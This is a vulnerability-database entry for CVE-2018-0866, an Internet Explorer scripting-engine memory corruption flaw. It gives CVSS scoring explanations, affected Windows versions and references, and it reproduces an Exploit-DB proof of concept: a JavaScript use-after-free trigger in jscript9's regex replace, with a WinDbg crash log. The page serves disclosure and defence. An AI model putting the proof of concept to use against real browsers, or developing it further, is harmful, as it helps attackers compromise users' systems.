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CVE-2018-0866 : Détail

CVE-2018-0866

7.5
/
HIGH
Overflow
92.36%V3
Network
2018-02-12 23:00 +00:00
2018-02-22 09:57 +00:00
CVE.org
NVD

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Descriptions

Internet Explorer in Microsoft Windows 7 SP1, Windows Server 2008 and R2 SP1, Windows 8.1 and Windows RT 8.1, Windows Server 2012 and R2, Windows 10 Gold, 1511, 1607, 1703, 1709, and Windows Server 2016 allows remote code execution, due to how the scripting engine handles objects in memory, aka "Scripting Engine Memory Corruption Vulnerability". This CVE ID is unique from CVE-2018-0834, CVE-2018-0835, CVE-2018-0836, CVE-2018-0837, CVE-2018-0838, CVE-2018-0840, CVE-2018-0856, CVE-2018-0857, CVE-2018-0858, CVE-2018-0859, CVE-2018-0860, and CVE-2018-0861.

Informations

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-787 Out-of-bounds Write
The product writes data past the end, or before the beginning, of the intended buffer.

Metrics

Metric Score Sévérité CVSS Vecteur Source
V3.0 7.5 HIGH CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

A vulnerability exploitable with network access means the vulnerable component is bound to the network stack and the attacker's path is through OSI layer 3 (the network layer). Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable one or more network hops away (e.g. across layer 3 boundaries from routers).

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

High

A successful attack depends on conditions beyond the attacker's control. That is, a successful attack cannot be accomplished at will, but requires the attacker to invest in some measurable amount of effort in preparation or execution against the vulnerable component before a successful attack can be expected.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

Required

Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

 [email protected]
V2 9.3 AV:N/AC:M/Au:N/C:C/I:C/A:C [email protected]

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

EPSS Score

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

EPSS Percentile

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 44153

Date de publication : 2018-02-19 23:00 +00:00
Auteur : Google Security Research
EDB Vérifié : Yes

<!-- There is a Use-after-free vulnerability in Internet Explorer that could potentially be used for memory disclosure. This was tested on IE11 running on Window 7 64-bit with the latest patches applied. Note that the PoC was tested in a 64-bit tab process via TabProcGrowth=0 registry flag and the page heap was enabled for iexplore.exe (The PoC is somewhat unreliable so applying these settings might help with reproducing). PoC: ========================================= --> <!-- saved from url=(0014)about:internet --> <script> var vars = new Array(2); function main() { vars[0] = Array(1000000).join(String.fromCharCode(0x41)); vars[1] = String.prototype.substring.call(vars[0], 1, vars[0].length); String.prototype.replace.call(vars[1], RegExp(), f); } function f(arg1, arg2, arg3) { alert(arg3); vars[0] = 1; CollectGarbage(); return 'a'; } main(); </script> <!-- ========================================= Debug log: ========================================= (be0.c40): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. jscript9!Js::RegexHelper::RegexReplaceT<0>+0x122e5d: 000007fe`ecc3b26d 440fb73c41 movzx r15d,word ptr [rcx+rax*2] ds:00000000`18090022=???? 0:013> r rax=0000000000000000 rbx=0000000000000000 rcx=0000000018090022 rdx=0000000000000001 rsi=0000000000000000 rdi=0000000000000000 rip=000007feecc3b26d rsp=0000000011e4a590 rbp=0000000011e4a610 r8=fffc000000000000 r9=00000000000f423e r10=fffc000000000000 r11=0000000000000008 r12=0000000000000000 r13=00000000148c5340 r14=000007feec9b1240 r15=0000000000000000 iopl=0 nv up ei ng nz ac pe cy cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010293 jscript9!Js::RegexHelper::RegexReplaceT<0>+0x122e5d: 000007fe`ecc3b26d 440fb73c41 movzx r15d,word ptr [rcx+rax*2] ds:00000000`18090022=???? 0:013> k # Child-SP RetAddr Call Site 00 00000000`11e4a590 000007fe`eca1282d jscript9!Js::RegexHelper::RegexReplaceT<0>+0x122e5d 01 00000000`11e4a9d0 000007fe`ec9b9ee3 jscript9!Js::JavascriptString::EntryReplace+0x1e6 02 00000000`11e4aa70 000007fe`ec9b9b5d jscript9!amd64_CallFunction+0x93 03 00000000`11e4aad0 000007fe`eca325e9 jscript9!Js::JavascriptFunction::CallFunction<1>+0x6d 04 00000000`11e4ab10 000007fe`ec9b9ee3 jscript9!Js::JavascriptFunction::EntryCall+0xd9 05 00000000`11e4ab70 000007fe`ecbe6e56 jscript9!amd64_CallFunction+0x93 06 00000000`11e4abe0 000007fe`ec9bd8e0 jscript9!Js::InterpreterStackFrame::Process+0x1071 07 00000000`11e4af20 00000000`14cc0fbb jscript9!Js::InterpreterStackFrame::InterpreterThunk<1>+0x386 08 00000000`11e4b1a0 000007fe`ec9b9ee3 0x14cc0fbb 09 00000000`11e4b1d0 000007fe`ecbe6e56 jscript9!amd64_CallFunction+0x93 0a 00000000`11e4b220 000007fe`ec9bd8e0 jscript9!Js::InterpreterStackFrame::Process+0x1071 0b 00000000`11e4b560 00000000`14cc0fc3 jscript9!Js::InterpreterStackFrame::InterpreterThunk<1>+0x386 0c 00000000`11e4b790 000007fe`ec9b9ee3 0x14cc0fc3 0d 00000000`11e4b7c0 000007fe`ec9b9b5d jscript9!amd64_CallFunction+0x93 0e 00000000`11e4b810 000007fe`ec9b9d2e jscript9!Js::JavascriptFunction::CallFunction<1>+0x6d 0f 00000000`11e4b850 000007fe`ec9b9e2f jscript9!Js::JavascriptFunction::CallRootFunction+0x110 10 00000000`11e4b930 000007fe`ec9b9d88 jscript9!ScriptSite::CallRootFunction+0x63 11 00000000`11e4b990 000007fe`ecae3a22 jscript9!ScriptSite::Execute+0x122 12 00000000`11e4ba20 000007fe`ecae2e75 jscript9!ScriptEngine::ExecutePendingScripts+0x208 13 00000000`11e4bb10 000007fe`ecae4924 jscript9!ScriptEngine::ParseScriptTextCore+0x4a5 14 00000000`11e4bc70 000007fe`e912fb61 jscript9!ScriptEngine::ParseScriptText+0xc4 15 00000000`11e4bd20 000007fe`e912f9cb MSHTML!CActiveScriptHolder::ParseScriptText+0xc1 16 00000000`11e4bda0 000007fe`e912f665 MSHTML!CJScript9Holder::ParseScriptText+0xf7 17 00000000`11e4be50 000007fe`e9130a3b MSHTML!CScriptCollection::ParseScriptText+0x28c 18 00000000`11e4bf30 000007fe`e91305be MSHTML!CScriptData::CommitCode+0x3d9 19 00000000`11e4c100 000007fe`e9130341 MSHTML!CScriptData::Execute+0x283 1a 00000000`11e4c1c0 000007fe`e98bfeac MSHTML!CHtmScriptParseCtx::Execute+0x101 1b 00000000`11e4c200 000007fe`e988f02b MSHTML!CHtmParseBase::Execute+0x235 1c 00000000`11e4c2a0 000007fe`e9111a79 MSHTML!CHtmPost::Broadcast+0x115 1d 00000000`11e4c2e0 000007fe`e90a215f MSHTML!CHtmPost::Exec+0x4bb 1e 00000000`11e4c4f0 000007fe`e90a20b0 MSHTML!CHtmPost::Run+0x3f 1f 00000000`11e4c520 000007fe`e90a35ac MSHTML!PostManExecute+0x70 20 00000000`11e4c5a0 000007fe`e90a73a3 MSHTML!PostManResume+0xa1 21 00000000`11e4c5e0 000007fe`e909482f MSHTML!CHtmPost::OnDwnChanCallback+0x43 22 00000000`11e4c630 000007fe`e991f74e MSHTML!CDwnChan::OnMethodCall+0x41 23 00000000`11e4c660 000007fe`e90c7c25 MSHTML!GlobalWndOnMethodCall+0x240 24 00000000`11e4c700 00000000`77449bbd MSHTML!GlobalWndProc+0x150 25 00000000`11e4c780 00000000`774498c2 USER32!UserCallWinProcCheckWow+0x1ad 26 00000000`11e4c840 000007fe`f1d91aab USER32!DispatchMessageWorker+0x3b5 27 00000000`11e4c8c0 000007fe`f1ce59bb IEFRAME!CTabWindow::_TabWindowThreadProc+0x555 28 00000000`11e4fb40 000007fe`fda7572f IEFRAME!LCIETab_ThreadProc+0x3a3 29 00000000`11e4fc70 000007fe`fa87925f iertutil!_IsoThreadProc_WrapperToReleaseScope+0x1f 2a 00000000`11e4fca0 00000000`773259cd IEShims!NS_CreateThread::DesktopIE_ThreadProc+0x9f 2b 00000000`11e4fcf0 00000000`7755a561 kernel32!BaseThreadInitThunk+0xd 2c 00000000`11e4fd20 00000000`00000000 ntdll!RtlUserThreadStart+0x1d ========================================= -->

Products Mentioned

Configuraton 0

Microsoft>>Internet_explorer >> Version 11

Microsoft>>Windows_10 >> Version -

Microsoft>>Windows_10 >> Version 1511

Microsoft>>Windows_10 >> Version 1607

Microsoft>>Windows_10 >> Version 1703

Microsoft>>Windows_10 >> Version 1709

Microsoft>>Windows_7 >> Version -

Microsoft>>Windows_8.1 >> Version *

Microsoft>>Windows_rt_8.1 >> Version -

Microsoft>>Windows_server_2008 >> Version r2

Microsoft>>Windows_server_2012 >> Version r2

Microsoft>>Windows_server_2016 >> Version -

Configuraton 0

Microsoft>>Internet_explorer >> Version 10

Microsoft>>Windows_server_2012 >> Version -

Configuraton 0

Microsoft>>Internet_explorer >> Version 9

Microsoft>>Windows_server_2008 >> Version -

References

http://www.securityfocus.com/bid/103032
Tags : vdb-entry, x_refsource_BID
https://www.exploit-db.com/exploits/44153/
Tags : exploit, x_refsource_EXPLOIT-DB
http://www.securitytracker.com/id/1040372
Tags : vdb-entry, x_refsource_SECTRACK
http://www.securitytracker.com/id/1040369
Tags : vdb-entry, x_refsource_SECTRACK

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